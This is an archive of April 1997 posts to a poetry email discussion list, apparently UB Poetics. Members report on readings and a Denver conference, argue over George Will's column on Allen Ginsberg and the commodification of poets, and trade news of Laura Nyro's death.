Call me bemused, but this representation seems a little self-serving, Maria. Anytime you want to talk about anything, you're welcomed here, as far as I have seen. As far as addessing Dorn's or Pound's or my or your or anybody else's politics--i.e. their work--hooray and hooray. In so far as I, or others, have seemed to scold, it's been when the conversation degenerated into who heard whom say what at the head of a table at some banquet I was never at, and on the basis of which we're all supposed to get together and punch people out. Where I come from there's names for that, but none of them are _political discourse_. The problem for me is that some people seem to be implying that we shouldn't even read certain texts because of moralisitic imputations about the author's character. You want to talk about politics in The Cantos, or politics in Gunslinger or Tales of Gran Apacheria, hey, let's go. Any time.

Mike
[redacted]

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219. Steve Carll
Golden Gate Park reading April 5
Wed 9 Apr 1997

(Full disclosure: This was a reading to celebrate the publication of my magazine, _Antenym_)

"Greatest reading EVER" some said--no, wait, that was what I was dreaming some said before I woke up Saturday morning.

You couldn't have asked for more perfect weather (in San Francisco, anyway) to send the literati out blinking into the sunlight to hear live poetry outdoors. Everyone seemed to find the clearing in the Redwood Grove without getting lost in the wilder regions of the park, and we got started at about 1:30. Chris Daniels was so excited he almost started before I had a chance to introduce him, but relented and let me tell the audience he was about to read. He read translations he did from the Portugese of Max Martins and Fernando Pessoa under a few of his heteronyms. The birds chirped at his every word.

Next up was Elizabeth Robinson, who, like me, is in the process of moving. For Elizabeth, this meant she had no final versions of any poems, except the ones in _Antenym 12_. So she read those, plus several draft versions of other poems--these were all from her "EAR" series of poems whose titles and end-rhymes she cut from Edwin Arlington Robinson poems and rewrote the rest of the bodies of. The grass grew at her every word.

After the hat passing (thanks to Pat Reed for the hat) Darin DeStefano gave a strong, emotional reading prefaced by the story of an experience he had in this spot in the park involving a friend, a flock of blue jays, a piece of glass, and his guilt feelings at being human in a world of nature. He finished with a beautiful, freshly-written poem with stars and dogs in it, and then, for an encore, performed another new piece with John McNally (on the last day of his visit from New Jersey). "Treason! Treason!" they shouted. The redwoods released perfume to censer their every word.

Present aside from Mother Nature and the abovementioned were Benjamin Hollander and his two lovely children, Eric Selland, Mary Sullivan-Roark, Laurel Beymer, Kristin Burkart, Miranda, and George Albon.

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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220. Christopher Alexander
Re: Nick, are you there?
Wed 9 Apr 1997

---

luigi wrrt:
> that's where you email your reply to just an individual, rather than
> to the whole list... it's the polite thing to do if your response is
> of a personal nature, or otherwise not likely to be of interest to the
> whole list...
you know, luigi, you *could* have backchanneled this.
I mean, it's not likely to be of interest to the whole list...

(chuckle)

chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

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221. **David Bromige**
Don Allan Anthology
Wed 9 Apr 1997

Thats ok, Boring, think nothing of it. db

↑ Index

222. **Christopher Alexander**
Re: denver conference etc...
Wed 9 Apr 1997

---

joe et. al.--
guess you (joe) got back a lot faster than we did,
thanks to "inclimate weather" ["oxymoronic"]
in wyoming. ended up stuck in some motel
room in cheyenne sunday night that smelled
like "air freshener", otherwise known as
"carcinogens" ["not as catchy but"]. we both
missed work mundane but made it home in one
piece despite h3eavy winds & the fact that we
were driving a volkswagon.

all of which is preparation for saying that since
you beat us to the punch er post, & because I'm
terribly lazy, I'll just respond. "words fail me", or
vice versa.

I was a bit more impressed with graff's presentation, though I, too, was dissatisfied to see the adjunctification issue, which should be foremost in our minds, remain at the margins. it does seem that this problem has everything to do with conflict both within & between departments, yet it only came up, in the presentation & the following discussion, obliquely, specifically in reference to the question of a "level playing field", so to speak, i.e., would adjunct faculty dare to

dispute tenured profs etc. it's not that the question of institutional power isn't important, particularly with regard to an orientation toward inter-/intra-departmental conflict, but the power question might profitably lead us to other questions, such as why are we allowing this to happen & what are others of us doing about it & what are we going to do about it & when?

but graff's emphasis on conflict, if not new to me & probably many others in the audience [at times I felt "preaching to the converted"], is still well-taken. coming as I have through two departments where the rift between scholars, critics, & "creative" writers was/is absolute--& here it might be appropriate to say that where I found marjorie's examples hopeful to say the least, I also consider them exceptional in the extreme--I still think graff's model a very useful one, certainly worth articulating. as far as *this* medium & it's apparent value in facilitating dialogue between the parties in question,--I'll have to consider it. my first reaction is to say that this list plays out its own conflicts, some of them very serious & very important to me, but none quite identical to the institutional discourse graff is looking for. then again, I can think of conversations here that partake of just these problems, as for example Artists Versus Cultural Studies which we had not too long ago & which was pretty good actually.

marjorie's paper was exemplary & a real pleasure. I look forward to its publication, which is sure to provoke response on the list, & I look forward to that response. beyond my usual fascination with spurious texts, I have to say that the yasusada work strikes me as a wonderful example of humor in the service of critique--a beautiful time bomb which I'd actually love to teach at some point.

apropos of which, I thought bin ramke gave a very good paper on the literary hoax & contemporary notions of authorship, & this on a comically mixed panel, opposite a young man who was apparently arguing for art's facility to help us develop "a decent commonsense" etc at which most of us seemed to shrug our shoulders. sometimes one doesn't know where to begin to dispute. similar experience with the first speaker on joe's panel--who, by the way, that is, joe, gave an great paper, one of the most exciting presentations of the weekend imho, a very strong & well-executed critique of the rhetoric of craft in so-called "creative" writing departments--the hardcopy of which I have at hand & will soon be reading. joe also--humble joe who wouldn't even mention that he had presented--gave one of the best 2 readings that I got to see last weekend, of a piece called "glue" & an excerpt from his forthcoming book which he really ought to tell us about. my other favorite reading was given by laura mullen, from a gothic verse-novel in progress, which work was amazing--I'm an old lovecraft fan, but I had no idea such stuff could actually be, well, so goddamn'd good or interesting, let alone push boundaries other than those of space-time & sanity (but maybe that's an inside joke?). I missed linda russo's reading, (though

I was given a preview of the work), but I was there to see her give an excellent paper on the poetry of kathleen fraser & the question of a feminist poetics.

whew. I'm almost as tired from writing this post as I am from the whole conference.

a few more things: yes, the "postfeminist cyborgs" gave some good readings & a provocative (inflammatory?) presentation, which was also a presentation for their site: www.pfplayground.com I'd highly recommend a visit ["_I'm_ linking up to it..."], though in saying that I certainly don't mean to imply that I'm in full agreement with either the use they make of theory or the conclusions they draw from that use. I have to admit, I was so taken with their "in your face" attitude ["an all us ex-punk rockers"], but it might take me awhile to digest their work.

as to a reconciliation? someone mentioned, I mentioned or someone "preaching to the converted"--possibly, but that's a caricature too. in some ways it does seem to me, in fact, that we reproduced the problems we came together to address--exemplified by the opposition of readings & panels, the fact that at least one of the writers I knew there probably didn't attend any of the panels, the way fiction writers would sort of show up as the middle reader in a panel without a lot of discussion as to the relation between the materials at hand, or with, in some cases, a generous amount of defensive posturing. I could, in the spirit of graff's paper, have stood to see more conflict & less silent contradiction--but then again, I didn't stand up to foster it, either. on the other hand, there were some very positive elements to the whole which counterbalance my natural pessimism, if not entirely, a few very good discussions came out of it apropos the dis-/union of writing & theory both institutionally & in the act etc, & I anticipate a few from the conference listserve-- which, by the way, I haven't heard about yet (it's only wednesday), but which I will bring to the attention of this list at such a time as etc.

well, apologies are probably in order for such a long posting, if anyone, that is, has actually read this far. one wonders with email.

chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

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223. George Bowering
Re: Allen GinsbErg
Thu 10 Apr 1997

ginsbErg

ginsbErg

ginsbErg

With an E. The way it is written on the covers of his books.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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224. dbkk
Re: denver conference etc...
Thu 10 Apr 1997

Dear Chris Alexander and Joe Amato, hi, it's Kevin Killian. Between the two of you, I now have a feel for what happened at this "Denver Conference."

I have to ask, also, did you two fellows reach a consensus with each other about not using capitalization? Or is this a total, adjunct *coincidence*?

just kidding,
kevin k.

By the way, is Lisel Mueller on this list? How about that Lisel walking away with the Pulitzer Prize for poetry! Congratulations, Lisel, and please send your autograph.
not kidding,
kevin k.

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225. KENT JOHNSON
Re: Allen GinsbErg
Thu 10 Apr 1997

Linda:

For what it's worth, I've spelled Allen's last name with a "u" instead of an "e" a few times myself. I've blanked and used the wrong letters in other many-covered names as well. (And so, I'm sure, have lots of other fairly well-read people on this list!) Thanks for the thoughtful and warm post on AG in Boston.

Kent

> *Date sent: Wed, 9 Apr 1997 22:28:58 -0700*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: George Bowering <[redacted]>*
> *Subject: Re: Allen GinsbErg*
> *To: [redacted]*
>
> *ginsbErg*
>
> *ginsbErg*
>
> *ginsbErg*
>
> *With an E. The way it is written on the covers of his books.*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax: [redacted]*
> *e-mail: [redacted]*

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226. David Bromige

George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle

Thu 10 Apr 1997

Susan : Are you surprised that G Wills didnt propose to his wife until he got to home plate? Should he have proposed right after he got to second base?

* * * *

As for AG, while not denying to him remarkable powers of forethought and net-working, I'd say he came by them "honestly" in the sense that he trusted him-self to act the way he wanted himself to act, and that after many many other

upshots of such conduct thru decades, he sold his archive for a cool mill to stanford. It was no more than Moloch owed him. I'd certainly place this transaction in the category "The Contradictions of Capitalism," but not without a "so what>" remainder. I dont think that John Ashbery, who must have realized almost as much cash from his total immersion in poetry, is the least bit likely to be criticized for doing so. I find it harder to keep abreast of Ashbery's poetry, just that there is so much in it, that won't yield to a quick scan. But it probably doesnt as bluntly deplore capitalist malpractice, as AG's does. If so, it is very differently encoded, and not in a sinister way, but because Ashbery is a great individual human being who, to one view of it, can't help but be who he is, but who knows all he has learned concerning what to do with that perhaps burdensome nexus of knowledge.

So is it the gap between avowed belief and actual practice that distresses some of our number here? Are we back at Pound the poet vs. Pound the fascist? Is it Ginsberg the Ghandi figure vs. Ginsberg the US millionaire? (These arent the rhetorical figures, mind made up, they may sound to be. I'm asking. And Sure, the poor soul not yet cold in his grave.) Is it bad for poets to make money, as it is bad for RC priests to make love to their congregation? For poets of a certain, evident kind of social commitment--also, therefore, a kind of censorship? How are we going to deal with this? Is it just something we're gonna have to forget (B. Dylan, "Clothesline Saga") or is it something one way or another we're going to try to legislate for? If so, we shall need to be willing to support our poets, and, I think, w/o regard to the value we personally find in their writing.

The commodification of Ginsberg surely had more energy from the Other side than from AG. The energy from AG was NOT primarily directed towards this end. He surfed it well once the wave was there. As have a number of other poets living and dead. I dont want to fly off on this tangent, the way our soc'y requires of an artist an identifiable style, "Oh yeah, he's the one who does squiggles & dots," it's pathetic, reprehensibly a shrinking of life in its variousness, and stems (but this is another argument for another day) from the mounting ascension to primacy of the snapshot, even if only of a President on a greenback. But who is there to reprehend, to witness such reprehension. Just put the funds in my account. I'll decide on my charities later, thanks.

Despite the scuttlebutt, people get famous because about them is something we need. This covers even Lorraine Bobbit. It may be down to Chance, but it's no accident. You or I might have opted to pay Ginsberg in kind (from each according), not having much money, but imagine wanting to repay his crackling energy and feeling you only have money to do it with. It's difficult for people to feel indebted w/o trying to do something abt it. Au fond, he made people feel good--in his case, literate persons of some awareness concerning soc'y. If we

are going to continue the ancient practice of rewards, why not have rewarded AG for his impromptu existence, so responsibly coped with?

I guess all this is to suggest that commodity isnt the bottom line, the in-escapable circumscription of our lives--if it were, there'd be no naming it. AG included the commodity, but the commodity does not include, w/o remainder, AG. db

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227. Schuchat Simon
Re: The Don Allan Anthology
Thu 10 Apr 1997

On Tue, 8 Apr 1997, David Bromige wrote:

> Come on, George, the allusion was to the Don Allan Anthology, you know, the
> one with John Ashberry in it, and Robert Creely, and Charles Olsen, and
> Denise Leverton. bd.
>
Right, that's the one with Franco Harris too

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228. Rachel Loden
Re: The Don Allan Anthology
Thu 10 Apr 1997

David Bromige wrote:
>
> Come on, George, the allusion was to the Don Allan Anthology, you know, the
> one with John Ashberry in it, and Robert Creely, and Charles Olsen, and
> Denise Leverton. bd.

John Weiners, too.

Raquel

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229. KENT JOHNSON
Re: Will's column
Thu 10 Apr 1997

But maybe, so hard as it is, we shouldn't get too angry. If AG were here, he might well be doing a compassion meditation, taking in, with each breath, a small bit of Will's deep pain.

Kent

Date sent: Thu, 10 Apr 1997 12:25:29 -0400
Send reply to: UB Poetics discussion group <[redacted]>
From: Daniel Bouchard <[redacted]>
Subject: Will's column/ my reply
To: [redacted]

George F. Will, symptomatic symbol of "the Reagan Revolution" and other malignancies to human existence, will die someday just like Allen Ginsberg. He once wrote of Ginsberg's death with a sneering condescension which proved to readers several things, among them 1) he never read Allen Ginsberg, and 2) he felt threatened by the very IDEA of Ginsberg's work.

George F. Will writes of Allen Ginsberg's life in market terms--that of being a "commodity." Confronted with the severe limitations of Will's intellect what is one to do? Will is a columnist who is paid well to write apologias for technocrats, thieves and murderers. Any person whose life work consisted of promoting peace and charity toward his fellows must by necessity be "the enemy." With a change in particulars, Will could have a written a similar column on the death of Christ--'that long-haired preaching radical got His just desserts!' To Ginsberg's credit however, he never claimed to be the Son of God (to my knowledge).

George F. Will, soldier of American Values, will be forgotten a month after his death.

Allen Ginsberg's poetry will live and grow
in the heart's of readers.

Fuck George F. Will.

[redacted]

The Ginsberg Commodity

By George F. Will

Wednesday, April 9 1997; Page A21
The Washington Post

Allen Ginsberg, symptomatic symbol of the "beat generation" and other intellectual fads, died last Saturday at age 70. He once wrote, "I'm so lucky to be nutty." Actually, his pose of paranoia was not luck, it was a sound career move.

It became big box office with his famous declamation of his poem "Howl" in San Francisco in 1955. That was the year "Rock Around the Clock," in the soundtrack to the movie "The Blackboard Jungle," helped launch what was to become the third element in the trinity of '60s ecstasies -- sex, drugs and rock-and-roll. Ginsberg made the first two his projects. He composed "Howl" with the help of a cocktail of peyote, amphetamines and Dexedrine.

Thirty years later his reward for a career of execrating American values and works was a six-figure contract for a volume of his collected poetry. It is a distinctive American genius, this ability to transmute attempted subversion into a marketable commodity.

The adjective "beat" was appropriated by Jack Kerouac from a drug-addicted Times Square thief and male prostitute, who meant by it the condition of being exhausted by existence. (That man's existence must have been wearying.) Kerouac attached the adjective to the noun "generation," emulating Gertrude Stein's identification of the "lost generation" of the 1920s. Soon Life magazine, happy to find some titillating unhappiness in a decade defined by Eisenhower's smile, was writing about the beats as "The Only Revolution Around." That's entertainment.

Back then, poetry commanded crowds. In his book "When the Going Was Good: American Life in the 1950s," Jeffrey Hart, now a professor of English at Dartmouth, wrote:

"Robert Frost strode onto the stage at Carnegie Hall to a standing ovation from an overflow house. . . . One night in 1957, T. S. Eliot was reading his poems to an overflow audience in Columbia's McMillin Theater. Even faculty members had difficulty getting tickets, and people were crowded into the windows and doors, and listening outside to Eliot over loudspeakers. . . . Dylan Thomas stood at the podium . . . his third American tour in two years."

When Ginsberg came to Columbia "there was a vast throng that had been unable to get in.
They pounded on the doors and milled around. Ticket-holders entered between lines of
police."

Today no poet could cause such excitement on any campus, or any other American venue, so
complete has been the supplanting of words, written and spoken, by music and movies as
preferred modes of communication. One of Ginsberg's young acolytes, Robert Zimmerman of
Hibbing, Minn., put the dissenting impulse to music as Bob Dylan.

Some beats wrote the way some jazz musicians made music, in the heat of chemically assisted
improvisation. Truman Capote's famous dismissal of Kerouac's work -- "That isn't writing at
all, it's typing" -- had a point. Granted, Kerouac revised "On the Road" for six years before it
was published in 1957. However, fueled by Benzedrine, he wrote the first draft of that novel
in 1951 in less than three weeks, as one long single-spaced paragraph -- 120 feet long on
12-foot strips of tracing paper taped together. Here is its beginning:

"I first met Dean not long after my wife and I split up. I had just gotten over a serious illness
that I won't bother to talk about, except that it had something to do with the miserably weary
split-up and my feeling that everything was dead."

Does that tone of voice seem familiar? Here is the beginning of a novel published in 1951, the
year of Kerouac's typing frenzy:

"If you really want to hear about it, the first thing you'll probably want to know is where I was
born, and what my lousy childhood was like, and how my parents were occupied and all
before they had me, and all that David Copperfield kind of crap, but I don't feel like going
into it, if you want to know the truth."

Yes, "The Catcher in the Rye." Holden Caulfield,

> *adolescent scold, strong in disapproving*
> *"phonies," was a precursor of the beats with their*
> *passion for "authenticity," which to Ginsberg*
> *meant howling echoes of whatever constituted*
> *coffeehouse radicalism of the moment.*
> *("Slaves of Plastic! . . . Striped tie addicts! .*
> *. . Whiskey freaks bombed out on 530 billion*
> *cigarettes a year. . . . Steak swallowers zonked*
> *on Television!") With a talent that rarely rose*
> *to mediocrity, but with a flair for vulgar*
> *exhibitionism, Ginsberg shrewdly advertised his*
> *persona as a symptom of a dysfunctional society.*
> *He died full of honors, including a*
> *front-page (and a full page inside) obituary in*
> *the New York Times, a symptom to the end.*

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230. Sylvester Pollet
Re: The Don Allan Anthology
Thu 10 Apr 1997

And let's not forget Joel Oppen!

> *David Bromige wrote:*
>
> *Come on, George, the allusion was to the Don Allan Anthology, you know, the one with John Ashberry in it, and Robert Creely, and Charles Olsen, and Denise Leverton. bd.*
>
> *John Weiners, too.*
>
> *Raquel*

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231. Dale Smith
Re: Will's column/ my reply
Thu 10 Apr 1997

Actually, as pig-headed as Will is, his piece on GinsbErg does attempt to locate the poet within the cultural market in which he participated. And his implication of Ginsberg as a culture industry cynosure is not entirely off the mark. Ginsberg was a cultural icon, a marketable commodity. I remember seeing huge billboards in San Francisco with Ginsberg's image selling Gap khaki pants. His warmth and affability also made him an attractive PR spokesman for a group of writers in the 50's. He attracted the kind of media attention Kerouac

would have preferred to avoid. But promotion is, you know, how to stay in business. And poetry is still affected by a relentless economic structure. What's interesting, and what Will doesn't mention, is how the culture industry makes its own social subversion into a marketable commodity.

The other relevant moment in the article is when Will writes:

" When Ginsberg came to Columbia 'there was a vast throng that had been unable to get in. They pounded on the doors and milled around. Ticket-holders entered between lines of police.'

Today no poet could cause such excitement on any campus, or any other American venue, so complete has been the supplanting of words, written and spoken, by music and movies as preferred modes of communication."

This is a perfectly candid statement to hear as a poet, but the implication is that Ginsberg's writing is partially responisble for a deterioration in values which has made the market more open to the movies than poetry. Wills doesn't follow up on this point, but I find it an important acknowledgement of poetry's inability to maintain prominence in a market Ginsberg implicitly condoned and benefitted from.

Anyway, the rest of Will's piece falls apart with the Kerouac quotes, (he couldn't find Ginsberg quotes?), which are out of place and confusing because, well, Will wants to say Ginsberg sucks, but he can't say 'sucks' in public. All of this leads me, however, to Maria Damon's statement about poetry and politics. How does one fight for social change and still survive as an individual in a corrupt economic system? How do the contradictions of political integrity and economic survival play out in the works of dedicated poets? The contradictory impulses in Ginsberg's life reveal the difficult position facing poets today. Somewhere, between our ideals and the necessity of the dollar, our lives and art are made.

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232. Chris Stroffolino

LAURA NYRO (one child born to carry on, etc....)

Thu 10 Apr 1997

I just heard on the radio this morning that LAURA NYRO (who wrote "I swear there ain't no heaven and I pray there ain't no hell") died on tuesday at the age of 49..... Does anybody know anything about this? What she died of, etc? I'd appreciate any info....."And all I ask of dying is to go naturally...." ----------
chris stroffolino

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233. Diane Marie Ward
Re: LAURA NYRO (one child born to carry on, etc....)
Thu 10 Apr 1997

I believe Dan Rather said last night Nyro had ovarian cancer.

Diane-Marie Ward
sunny SUNY Buffalo

On Thu, 10 Apr 1997, Chris Stroffolino wrote:

> *I just heard on the radio this morning that LAURA NYRO (who wrote "I swear there ain't no heaven and I pray there ain't no hell") died on tuesday at the age of 49.....*
> *Does anybody know anything about this? What she died of, etc?*
> *I'd appreciate any info....."And all I ask of dying is to go naturally...."*
> *----------chris stroffolino*

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234. Douglas Barbour
Re: wind on the way
Thu 10 Apr 1997

Reading this just after Maria's post:

Date: Wed, 9 Apr 1997 11:59:06 -0400
From: William Burmeister Prod <[redacted]>
Subject: Re: wind on the way

> *WASHINGTON (Reuter) - A large storm on the sun's surface probably will hit the earth's magnetic field Wednesday with the potential to disrupt communications satellites and power grids, NASA said.*
>
> *``It's clearly a big event,'' said Don Savage, a spokesman for NASA's Office of Space Science. A large solar flare was blamed for the destruction of a broadcast satellite in January.*
>
> *Savage said matter blown off the face of the sun -- essentially a stream of ionized particles -- was expected to strike a ``glancing blow'' to the magnetic field that shields the Earth more than 100 miles from its surface.*
>
> *He said those who operate sensitive satellites and power grids had been warned to take unspecified steps to safeguard their operations through an established early-warning system that reports ``space weather.''*
>
> *The solar storm was detected a couple of days ago by the Solar and Heliospheric Observatory, a satellite that NASA and the European Space Agency launched in 1995 to keep a constant eye on the sun's surface.*

> *Savage said scientists still were calculating the precise arrival time of the solar impact, which was likely to produce a shimmering curtain of multi-colored light called an aurora over the North and South poles.*

storm disrupt potential grids
event spokesman flare for
broadcast Savage matter blows strike
shields fields stream unspecified space
sensitive grid reports sun's eye
shimmering arrival precise pole impact.

I'd have to say that this seems a good enough reason for running such news. But your question strikes home, Maria, & I can only say I find just about everything on the list intriguing on some level or other, but especially I thought the arguments about poetics & politics worth carrying on.

========== Douglas Barbour
the precision of openness Department of English is not a vagueness
University of Alberta it is an accumulation Edmonton Alberta T6G 2E5 cumulous [redacted] FAX:[redacted] bpNichol H: [redacted]

↑ Index

235. Christopher Alexander
Re: Allen GinsbErg
Thu 10 Apr 1997

> *With an E. The way it is written on the covers of his books.*

oh, lighten up fer chrissake gEorgE.
or is this one of those instances where
I'm misreading your tone, which sounds,
from here, distinctly sanctimonious.

chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

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236. Christopher Alexander
Re: denver conference etc...
Thu 10 Apr 1997

---

kevin wrett:
> I have to ask, also, did you two fellows reach a consensus with each other
> about not using capitalization? Or is this a total, adjunct *coincidence*?
actually, kevin,I was intimidated into it by joe
in what is clearly an abuse of institutional authority.

chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

↑ Index

237. Steven Marks
Re: LAURA NYRO (one child born to carry on, etc....)
Thu 10 Apr 1997

On Thu, 10 Apr 1997, Chris Stroffolino wrote:

> *I just heard on the radio this morning that LAURA NYRO (who wrote "I swear there ain't no heaven and I pray there ain't no hell") died on tuesday at the age of 49.....*
> *Does anybody know anything about this? What she died of, etc?*
> *I'd appreciate any info....."And all I ask of dying is to go naturally...."*
> *----------chris stroffolino*

Only what I read in my local paper. She died from ovarian cancer. Had hits with Blood, Sweat and Tears, the Fifth Dimension, and Barbra Streisand! Article said she was one of the first singer-songwriters along with Joni Mitchell.

Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

238. henry gould

EPR ?

Thu 10 Apr 1997

Anybody know what's happening with Electronic Poetry Review? another issue coming out ever? Please backchannel, unless you think your information is of profound importance to the entire list and the southeastern quadrangle of the Milky Way also. Thanks - Captain Kwirk. [redacted]

p.s. comet approaching up Waterman Ave. they turn left on red in Rhode Island. focus quasar shield factor 10.... NOW.

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239. David Kellogg

Re: LAURA NYRO (one child born to carry on, etc....)

Thu 10 Apr 1997

At 08:56 AM 4/10/97 -0400, Chris Stroffolino wrote:
>I just heard on the radio this morning that LAURA NYRO (who wrote "I swear
>there ain't no heaven and I pray there ain't no hell") died on tuesday at the
>age of 49.....
>Does anybody know anything about this? What she died of, etc?
>I'd appreciate any info....."And all I ask of dying is to go naturally...."

Ovarian cancer.

Best,
David
~~~
~~~

↑ Index

240. **KENT JOHNSON**

Re: Will's column/ my reply

Thu 10 Apr 1997

Dale:

Yours is a very intelligent and provocative statement, opening a discussion that I suspect Ginsbeurg would have welcomed about himself. Just one question to throw out as first thought, though not necessarily the better one: this "cultural market" that you charge Ginsbuerg as being complicit in-- where do you see its, as they say, horizon? Did Ginsbeurg, in other words, step over some kind of threshold that you and I (cleaner in life than him) haven't? What is the qualitative differuence, as you see it, between choosing to buy Gap pants and posing in them? And when we, for example, choose to polemicize on this list, are we not engaging in a gesture that is as fully inscribed in the cultural market as Ginsbuerg's marketing of his image? I know, I know, you talk about the "gap" between ideals and necessity, and you seem to grant that we all inhabit that and must necessarily negotiate, but isn't it a bit too easy for "uncommodified" poets to criticize across the gap between life and death, and say that the dead guy sold out when we haven't, even though you acknowledge that we've all sold out, inevitably, a little bit?

Aren't all of us (each of us, including you with your careful post) also, at least in portion, marketing an image here? (I mean Dale Smith, upping those guys and gals who are oblivious to their chiselled engravings within the poetry money market, but not Dale, who sees the gap between ideals and necessity, and thus has the banked- track on freedom. voom.)

Dale,I'll say this: I would like, when I say something on this list, to impress, to have people think: "Boy, that Kent Johnson sounds really interesting, I wonder what he is really like.." Wishful thinking, I'm sure, but I would like my posts to contribute, little by little, to a great poetry job somewhere, or to being invited to the party I never get invited to, to having an even modest cultural status I haven't yet had, to be thought of as a list insider who is known to be an insider by those who aren't. There, I said it! (And why, exactly, does it mildly startle every single one of you who just read this that I said this?)

I am wearing Gap pants right now as I write, and whatever you are or aren't wearing Dale, you are, by reading this, between your ideals and the necessity of the dollar, being called on by Ginsbuerg, in his koan-billboard, to think a little more deeply about your own critical certainties. Again,this is first, quick thought. One I may well regret, post-partum, as I think Rachel Loden perceptively put it a week or so ago.

but thanks for provoking it.

Keunt

Date sent: Thu, 10 Apr 1997 13:12:18 +0100
> Send reply to: UB Poetics discussion group <[redacted]>
> From: Dale Smith <[redacted]>
> Subject: Re: Will's column/ my reply
> To: [redacted]

> *Actually, as pig-headed as Will is, his piece on GinsbErg does attempt to locate the poet within the cultural market in which he participated. And his implication of Ginsberg as a culture industry cynosure is not entirely off the mark. Ginsberg was a cultural icon, a marketable commodity. I remember seeing huge billboards in San Francisco with Ginsberg's image selling Gap khaki pants. His warmth and affability also made him an attractive PR spokesman for a group of writers in the 50's. He attracted the kind of media attention Kerouac would have preferred to avoid. But promotion is, you know, how to stay in business. And poetry is still affected by a relentless economic structure. What's interesting, and what Will doesn't mention, is how the culture industry makes its own social subversion into a marketable commodity.*
>
> *The other relevant moment in the article is when Will writes:*
>
> *" When Ginsberg came to Columbia 'there was a vast throng that had been unable to get in. They pounded on the doors and milled around. Ticket-holders entered between lines of police.'*
>
> *Today no poet could cause such excitement on any campus, or any other American venue, so complete has been the supplanting of words, written and spoken, by music and movies as preferred modes of communication."*
>
> *This is a perfectly candid statement to hear as a poet, but the implication is that Ginsberg's writing is partially responisble for a deterioration in values which has made the market more open to the movies than poetry. Wills doesn't follow up on this point, but I find it an important acknowledgement of poetry's inability to maintain prominence in a market Ginsberg implicitly condoned and benefitted from.*
>
> *Anyway, the rest of Will's piece falls apart with the Kerouac quotes, (he couldn't find Ginsberg quotes?), which are out of place and confusing because, well, Will wants to say Ginsberg sucks, but he can't say 'sucks' in public.*
> *All of this leads me, however, to Maria Damon's statement about poetry and politics. How does one fight for social change and still survive as an individual in a corrupt economic system? How do the contradictions of political integrity and economic survival play out in the works of*

> *dedicated poets? The contradictory impulses in Ginsberg's life reveal the difficult position facing poets today. Somewhere, between our ideals and the necessity of the dollar, our lives and art are made.*

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241. Field of Roses

Re: LAURA NYRO (one child born to carry on, etc....)

Thu 10 Apr 1997

> *I just heard on the radio this morning that LAURA NYRO (who wrote "I swear there ain't no heaven and I pray there ain't no hell") died on tuesday at the age of 49.....*
> *Does anybody know anything about this? What she died of, etc?*
> *I'd appreciate any info....."And all I ask of dying is to go naturally...."*

According to Toronto's Globe and Mail, Nyro died on Tuesday at her home in Danbury Conn. She had been battling ovarian cancer. The funeral arrangements, which are expected to be private are as yet incomplete.

A sad week of these events.

Linda Charyk Rosenfeld

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242. Maria Damon

Re: wind on the way

Thu 10 Apr 1997

---

yes indeed douglas it's a wonderful piece and thanks for your words.

At 8:04 AM -0600 4/10/97, Douglas Barbour wrote:
>Reading this just after Maria's post:
>
>Date: Wed, 9 Apr 1997 11:59:06 -0400
>From: William Burmeister Prod <[redacted]>
>Subject: Re: wind on the way
>MIME-Version: 1.0
>Content-Type: text/plain; charset=us-ascii
>
>>WASHINGTON (Reuter) - A large storm on the sun's surface probably will hit
>>the earth's magnetic field Wednesday with the potential to disrupt
>>communications satellites and power grids, NASA said.
>
>> ``It's clearly a big event,'' said Don Savage, a spokesman for NASA's

>>Office of Space Science. A large solar flare was blamed for the destruction
>>of a broadcast satellite in January.
>
>> Savage said matter blown off the face of the sun -- essentially a stream
>>of ionized particles -- was expected to strike a ``glancing blow'' to the
>>magnetic field that shields the Earth more than 100 miles from its surface.
>
>> He said those who operate sensitive satellites and power grids had been
>>warned to take unspecified steps to safeguard their operations through an
>>established early-warning system that reports ``space weather.''
>
>> The solar storm was detected a couple of days ago by the Solar and
>>Heliospheric Observatory, a satellite that NASA and the European Space
Agency
>>launched in 1995 to keep a constant eye on the sun's surface.
>
>> Savage said scientists still were calculating the precise arrival time of
>>the solar impact, which was likely to produce a shimmering curtain of
>>multi-colored light called an aurora over the North and South poles.
>
>
>
>
>
> storm disrupt potential grids
>
>
> event spokesman flare for
>
>
> broadcast Savage matter blows strike
>
>
> shields fields stream unspecified space
>
>
> sensitive grid reports sun's eye
>
>
> shimmering arrival precise pole impact.
>
>I'd have to say that this seems a good enough reason for running such news.

>But your question strikes home, Maria, & I can only say I find just about
>everything on the list intriguing on some level or other, but especially I
>thought the arguments about poetics & politics worth carrying on.
>
>==========
==========
>Douglas Barbour the precision of openness
>Department of English is not a vagueness
>
>University of Alberta it is an accumulation
>Edmonton Alberta T6G 2E5 cumulous
>[redacted] FAX:[redacted] bpNichol
>H: [redacted]

↑ Index

243. **Dale Smith**

Re: Will's column/ my reply

Thu 10 Apr 1997

I apologize if you receive this message twice. I don't think it went through the first time:
****

